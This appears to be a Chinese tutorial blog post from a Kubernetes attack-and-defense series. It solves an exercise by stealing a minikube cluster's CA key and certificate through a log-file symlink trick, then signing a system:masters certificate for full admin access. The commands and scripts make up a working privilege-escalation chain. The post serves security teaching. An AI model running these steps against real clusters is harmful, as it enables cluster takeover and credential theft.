iT邦幫忙

2023 iThome 鐵人賽

DAY 25
0
影片教學

怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了系列 第 34

Day27 - 作業3-2解答 - 讀取 k8s 金鑰檔案進行簽發高權限憑證

  • 分享至 

  • xImage
  •  

Yes

  • 題目 : 參考 Kubernetes - How to create a system:masters user and why you REALLY shouldn't
    並建立一個具有 system:masters 的使用者帳號。當然你要先想辦法搞懂要讀取哪個機敏檔案後再去把帳號建立出來。

  • 解答 : 從上面參考資料知道我們要找的檔案是 ca.crt 跟 ca.key,有了這兩個檔案我們就可以任意簽發任何權限的合法憑證,作法部分參考如下。

    # 先在宿主機的 minikube 裡面找尋我們要使用的檔案
    minikube start ;
    minikube ssh ;
    
    # 得知 ca.key 的位置 /var/lib/minikube/certs/ca.key
    # ca.crt 就在同一個資料夾底下 /var/lib/minikube/certs/ca.crt
    sudo find / -name "ca.key" ;
    
  • 有了檔案位置之後就可以利用上次那個腳本把這兩個檔案的內容給讀出來。

    kubectl exec -it target-pod -- bash ;
    
    # 刪除 log 檔案
    rm /var/log/host/pods/default_target-pod_23076fa7-55d4-44d7-87e7-3d2d92b87c18/target-pod/0.log ;
    
    # 先連結 ca.key 的檔案位置
    ln -s /var/lib/minikube/certs/ca.key /var/log/host/pods/default_target-pod_23076fa7-55d4-44d7-87e7-3d2d92b87c18/target-pod/0.log ;
    
    # 透過 3-1 腳本將檔案內容讀取出來
    bash read_file.sh target-pod 50 ;
    mv output.txt ca.key ;
    
    # 刪除 log 檔案
    rm /var/log/host/pods/default_target-pod_23076fa7-55d4-44d7-87e7-3d2d92b87c18/target-pod/0.log ;
    
    # 先連結 ca.crt 的檔案位置
    ln -s /var/lib/minikube/certs/ca.crt /var/log/host/pods/default_target-pod_23076fa7-55d4-44d7-87e7-3d2d92b87c18/target-pod/0.log ;
    
    # 再透過 3-1 腳本將檔案內容讀取出來
    bash read_file.sh target-pod 50 ;
    mv output.txt ca.crt ;
    
  • 有了 ca.key 跟 ca.crt 之後就可以針對申請任意權限的 CSR 檔案進行簽章了,這邊就來試試簽一張之前無法核發的 system:master 群組的簽章看看。

    openssl genrsa -out csr-test.key 2048 ;
    
    # CN表示用戶名稱,O表示該用戶的群組
    openssl req -new -key csr-test.key -out csr-test.csr -subj "/O=system:masters/CN=csr-test" ;
    
    # 用偷出來的 ca.key、ca.crt 檔案對 CSR 簽發憑證
    openssl x509 -req -in csr-test.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out csr-test.crt
    
    # 確認目前的身份權限
    kubectl auth can-i --list ;
    
    # 使用作業 5 解答設定 context 身份
    sh [腳本名稱] kubectl https://10.96.0.1 csr-test.key csr-test.crt ;
    
    # 再次確認目前的身份權限
    kubectl auth can-i --list ;
    
  • 補充作業5解答(如果懶得回去翻的話) :

    token_file="/var/run/secrets/kubernetes.io/serviceaccount/token"
    ca_crt_file="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
    
    token=`cat $token_file`
    
    echo "kubectl in $1..."
    echo "api server in $2..."
    echo "client-key in $3..."
    echo "client-certificate in $4..."
    
    $1 config set-cluster cfc --server=$2 --certificate-authority=$ca_crt_file ;
    $1 config set-context cfc --cluster=cfc ;
    
    if [ -z $3  ] || [ -z $4 ] ; then
        $1 config set-credentials user --token=$token ;
    else
        $1 config set-credentials user --client-key=$3 --client-certificate=$4 --embed-certs=true ;
    fi
    
    $1 config set-context cfc --user=user ;
    $1 config use-context cfc ;
    

上一篇
Day27 - 作業3-1 解答 - 撰寫腳本讀取 kubectl logs 的資訊
下一篇
Day28 - (防禦) AppArmor 機制介紹 (含作業7)
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言